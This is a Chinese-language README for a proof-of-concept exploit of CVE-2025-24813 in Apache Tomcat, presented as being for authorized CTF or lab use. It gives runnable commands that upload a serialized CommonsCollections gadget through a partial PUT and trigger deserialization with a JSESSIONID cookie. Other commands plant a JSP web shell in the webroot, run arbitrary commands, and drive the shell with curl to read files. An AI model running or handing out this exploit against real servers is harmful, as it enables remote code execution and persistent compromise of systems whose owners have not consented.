用于授权 CTF/实验室环境的 PoC。它通过部分 PUT 写入 Tomcat 会话文件来利用 CVE-2025-24813,然后使用 JSESSIONID 触发反序列化。
requestsjava 和 javac)commons-collections-3.2.1.jar不需要 ysoserial。
poc_cve_2025_24813.py:Python 包装脚本,自动完成生成、上传和触发。GenerateTomcatSessionPayload.java:生成包含 CommonsCollections gadget 的有效 Tomcat 会话。commons-collections-3.2.1.jar:gadget 的依赖。sh.jsp:由 --drop-shell 部署的可选 JSP shell。将 JSP shell 放入默认 webroot /opt/tomcat/webapps/ROOT:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id poc24813 \
--drop-shell \
--shell-name sh.jsp
无需放置 shell 直接执行命令:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id cmd24813 \
--cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'
如果 webroot 不同:
./poc_cve_2025_24813.py http://TARGET:8080 \
--drop-shell \
--webroot /path/to/webroot \
--shell-name sh.jsp
如果 JAR 被移动,请指定其路径:
./poc_cve_2025_24813.py http://TARGET:8080 \
--jar /path/to/commons-collections-3.2.1.jar \
--drop-shell
如果 --drop-shell 成功:
curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp
DefaultServlet 可写,通常为 readonly=false。PersistentManager 和 FileStore 持久化会话。commons-collections。上传时预期的行为通常是 HTTP 409 Conflict,对应于:
PUT /<session-id>/session
Content-Range: bytes 0-1000/1200
然后使用以下内容触发反序列化:
Cookie: JSESSIONID=.<session-id>